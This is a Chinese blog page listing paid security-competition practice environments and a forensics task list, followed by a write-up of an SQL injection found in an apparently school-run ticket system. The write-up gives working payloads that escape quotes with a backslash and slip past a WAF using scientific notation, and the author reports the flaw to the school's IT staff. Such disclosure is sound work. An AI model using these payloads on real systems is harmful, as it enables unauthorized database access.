内容[binary]此处内容作者设置了 付费59.9 元(点击此处支付，付费后请刷新界面),无法点击请刷新页面后重新点击即可！ 可见，付费后 10 天内有效
Web题-信息安全管理与评估-2023年国赛Web模拟题-环境
0x01前言更新浏览器缓存可能导致无法查看，有问题可以与我联系或者评论反馈为2023年web模拟环境的一键版本,当然文章里面也有搭建教程，这里是懒得搭建的福音[post cid="1080" /]内容包括虚拟机文件,和两个快照0x02 内容[binary]此处内容作者设置了 付费59.9 元(点击此处支付，付费后请刷新界面),无法点击请刷新页面后重新点击即可！ 可见，付费后 10 天内有效
0x01前言更新浏览器缓存可能导致无法查看，有问题可以与我联系或者评论反馈内容包括虚拟机文件,解析文档+答案,此题为2022国赛题目，也在2023年省赛出现过(2022国赛后的第一次省赛),对应题目如下任务编号任务描述1提交攻击者的 IP 地址2识别攻击者使用的操作系统3找出攻击者资产收集所使用的平台4提交攻击者目录扫描所使用的工具名称5提交攻击者首次攻击成功的时间，格式：DD /MM/YY:HH:MM:SS6找到攻击者写入的恶意后门文件，提交文件名（完整路径）和后门密码7找到攻击者隐藏在正常 web 应用代码中的恶意代码，提交该文件名（完整路径）8识别系统中存在的恶意程序进程，提交进程名9找到文件系统中的恶意程序文件并提交文件名（完整路径）10简要描述该恶意文件的行为[binary]此处内容作者设置了 付费59.9 元(点击此处支付，付费后请刷新界面),无法点击请刷新页面后重新点击即可！ 可见，付费后 10 天内有效
引号的突围! 一次借助反斜杠的逃逸之旅与SQL注入的秘密探索
0x1 前言好久没有遇到那么符合预设环境的漏洞情况了，标题跟部分内容的文笔由ai美化了，看起来诗情画意的?(可能0x02 过程是一个需要统一认证的工单系统,首页是展示最近的工单右上角有个我的工单，点击后会要求绑定工号需要两个参数，一个是工号一个绑定码先随意输入一些内容然后抓包,可以看到有两个参数workNum bindCode接下来通过对后端语句的推测和巧妙的输入操纵，利用符号犹如钥匙般打开了逃逸单引号限制的大门，逐步探入SQL注入的世界，首先当然是对两个参数进行常规的单双引号测试'",当然是没有效果的没有任何变化workNum尝试输入 发现提示sql语句报错bindCode也测试一下，发现也报错，猜测后端没有进行预处理也没有用类似于addslashes函数进行处理而是自己进行的单双引号的处理但是没有处理符号转义了原有的引号导致了我们输入的参数逃逸出了引号的限制首先猜测后端语句大概如下select xxx from where workNum='可控' and bindCode='可控'那么我在workNum传入时语句如下,他后面那个单引号被反引号注释掉了逃出了单引号的限制select xxx from where workNum='可控\' and bindCode='可控'此时workNum的值为红色部分，可以发现第二个可控的部分并不在引号内可以进行sql注入select xxx from where workNum='可控\' and bindCode='可控'那么在workNum传入，bindCode传--+语句如下可以发现有了一个可以操作的可控点select xxx from where workNum='\' and bindCode=' 可控点 --+'因为系统带有waf这里先轻微的使用不那么容易触发waf的语句来测一下是什么数据库,传入内容如下workNum=\&bindCode=%2BCURRENT_USER--+后端语句大概如下,也就是+上CURRENT_USER Mysql的用户名函数select xxx from where workNum='\' and bindCode='+ CURRENT_USER--+'发现并没有报错改掉一位试试看发现提示sql语句错误,那么这里就判断为mysql数据库旅程并非一帆风顺，WAF如同一道屏障挡在面前。接下来我将运用科学计数法如同舞者般优雅地绕过了WAF的限制，编织出if语句的旋律进行真相的探寻。这里用科学计数法绕过waf构造if,构造出true/false来注入,这里判断用户名长度是否等于1显然错误返回错误,使用<>大/小于号都会报错，猜测是后端对<>进行了处理用来防止xss导致没办法用大于小于来快速判断范围我这里就用=号一位一位判断了workNum=\&bindCode=%2bif+520.e(length+520.e(CURRENT_USER+520.e)=1,1,exp+520.e(999+520.e)+520.e)%23等于11位的时候页面返回正常，这里就得到了用户名部分为11位在来判断个数据库名,得到长度为5,点到为止，下班workNum=\&bindCode=%2bif+520.e(length+520.e(schema+520.e(+520.e)+520.e)=5,1,exp+520.e(999+520.e)+520.e)%23最后反馈给信息处的老师